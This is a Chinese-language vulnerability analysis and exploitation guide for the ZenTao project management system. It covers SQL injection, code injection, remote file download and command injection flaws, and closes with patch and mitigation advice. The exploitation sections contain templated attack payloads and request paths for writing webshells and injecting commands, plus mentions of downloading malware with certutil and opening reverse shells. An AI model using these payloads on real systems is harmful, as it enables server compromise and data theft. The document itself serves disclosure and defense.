禅道项目管理系统(ZenTaoPMS)高危漏洞分析与利用
字数 2383 2025-08-19 12:42:04
禅道项目管理系统(ZenTaoPMS)高危漏洞分析与利用指南
一、禅道项目管理系统简介
1.1 基本信息
ZenTaoPMS(禅道项目管理软件)是易软天创公司开发的项目管理软件,基于国际流行的敏捷项目管理方式Scrum,并融入了bug管理、测试用例管理、发布管理、文档管理等国内研发需求。
1.2 版本系列
- 开源版(2009-2020):基础版本,仅包含项目管理基本模块
- 专业版(2012-2020):开源版基础上增加增强功能
- 企业版(2017-2020):专业版基础上增加运维管理、OA办公管理等功能
- 集团版(2019-2020):主站平台+子站点架构,子站点基于企业版
1.3 使用情况
- 全网使用量超过4万个网站
- 75%以上用户位于中国
- 主要分布在广东、浙江、北京、上海
二、高危漏洞列表
| 漏洞名称 | 影响版本 | 披露日期 | 漏洞类型 |
|---|---|---|---|
| 禅道8.2-9.2.1 SQL注入导致前台Getshell | 禅道开源版8.2-9.2.1 | 2018 | SQL注入 |
| 禅道后台代码注入漏洞 | 禅道开源版<=11.6 | 2019 | 代码注入 |
| 禅道后台任意文件删除漏洞 | 禅道开源版<=11.6 | 2019 | 文件删除 |
| 禅道后台任意文件读取漏洞 | 禅道开源版<=11.6 | 2019 | 文件读取 |
| 禅道后台文件包含漏洞 | 禅道开源版<=11.6 | 2019 | 文件包含 |
| 禅道后台SQL注入漏洞 | 禅道开源版<=11.6 | 2019 | SQL注入 |
| 禅道任意文件上传漏洞 | 10.x < 禅道开源版 <12.4.3 | 2020 | 文件上传 |
| 禅道Pro 8.8.2命令注入漏洞 | 禅道Pro<=8.8.2 | 2020 | 命令注入 |
三、漏洞利用链分析
3.1 无需权限利用链
ZenTaoPMS (8.2-9.2.1) - GetShell
- 影响版本:8.2-9.2.1
- 漏洞类型:SQL注入
- 利用条件:系统有文件写入权限
- 检测方法:访问
/zentao/index.php?mode=getconfig获取版本信息
3.2 低权限利用链
ZenTaoPMS <11.6 - GetShell
- 需要后台用户账号或cookie
- 通过代码注入生成shell
3.3 管理员权限利用链
-
ZenTaoPMS <12.4.3 - GetShell
- 仅适用于Windows/Linux一键安装版(未加安全限制)和安装包版
- 需要管理员账号或cookie
-
ZenTaoPMS Pro<=8.8.2 - GetShell
- 命令执行无回显
- 可通过certutil.exe下载远程恶意软件
四、技术背景:禅道路由模式
禅道有两种路由模式:
-
PATH_INFO模式(默认):
- 示例:
user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html - 分隔符为"-",第一部分为模块名,第二部分为方法名
- 示例:
-
GET模式:
- 示例:
index.php?m=block&f=main&mode=getblockdata - m参数为模块名,f参数为方法名
- 示例:
路由解析流程:
$app->parseRequest()- 解析请求$common->checkPriv()- 检查权限$app->loadModule()- 加载模块
五、重点漏洞详细分析
5.1 禅道8.2-9.2.1 SQL注入漏洞
漏洞原理
- 位于
module/block/control.php中的printCaseBlock()函数 orderby参数未过滤直接拼接SQL语句- 可构造
limit部分闭合SQL语句并执行恶意代码
利用步骤:
- 构造SQL注入语句写入木马
- 将EXP进行ASCIIhex加密
- 构造payload:
{"orderBy":"order limit 1;SET @SQL=0x(加密后字符串);PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"} - 对payload进行base64编码
- 访问:
http://target/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=base64编码字符串
5.2 禅道后台代码注入漏洞
漏洞原理
- 通过
module/api/control.php中的getModel方法越权调用其他模块 - 可调用
editor模块的save方法写入文件 - 再通过文件包含执行写入的代码
利用步骤:
- 登录获取cookie
- 访问生成shell:
api-getModel-editor-save-filePath - 包含执行shell:
api-getModel-api-getMethod-filePath=
5.3 禅道后台文件上传漏洞
漏洞原理
- 位于
module/client/model.php中的downloadZipPackage函数 link参数可使用HTTP/FTP/file等协议- 可下载远程文件到服务器
利用步骤:
- 登录获取cookie
- 访问下载远程文件:
client-download-[version]-[base64编码的恶意文件地址]-1.html - 访问下载的文件执行:
data/cliten/1/[文件]
5.4 禅道Pro命令注入漏洞
漏洞原理
- 位于
module/repo/model.php中的checkConnection函数 client参数未过滤直接拼接执行命令
利用步骤:
- 管理员登录
- 通过
/repo-create.html页面的client参数执行命令:SCM=Git&name=test2&path=C%3A%5CProgramData&encoding=utf-8&client=[命令] - 可下载恶意软件或反弹shell
六、修复建议
-
升级到最新版本:
- 开源版:升级至12.4.3或更高
- Pro版:升级至8.8.2或更高
-
临时缓解措施:
- 限制后台访问IP
- 加强文件上传和命令执行过滤
- 关闭不必要的模块和接口
-
安全配置:
- 修改默认路由分隔符
- 加强权限验证机制
- 定期安全审计
七、总结
禅道项目管理系统的漏洞主要集中在:
- SQL注入导致的前台Getshell
- 后台越权调用导致的代码注入
- 文件上传和命令注入漏洞
这些漏洞大多需要一定权限,但危害严重,可导致服务器完全沦陷。建议用户及时升级并加强安全配置。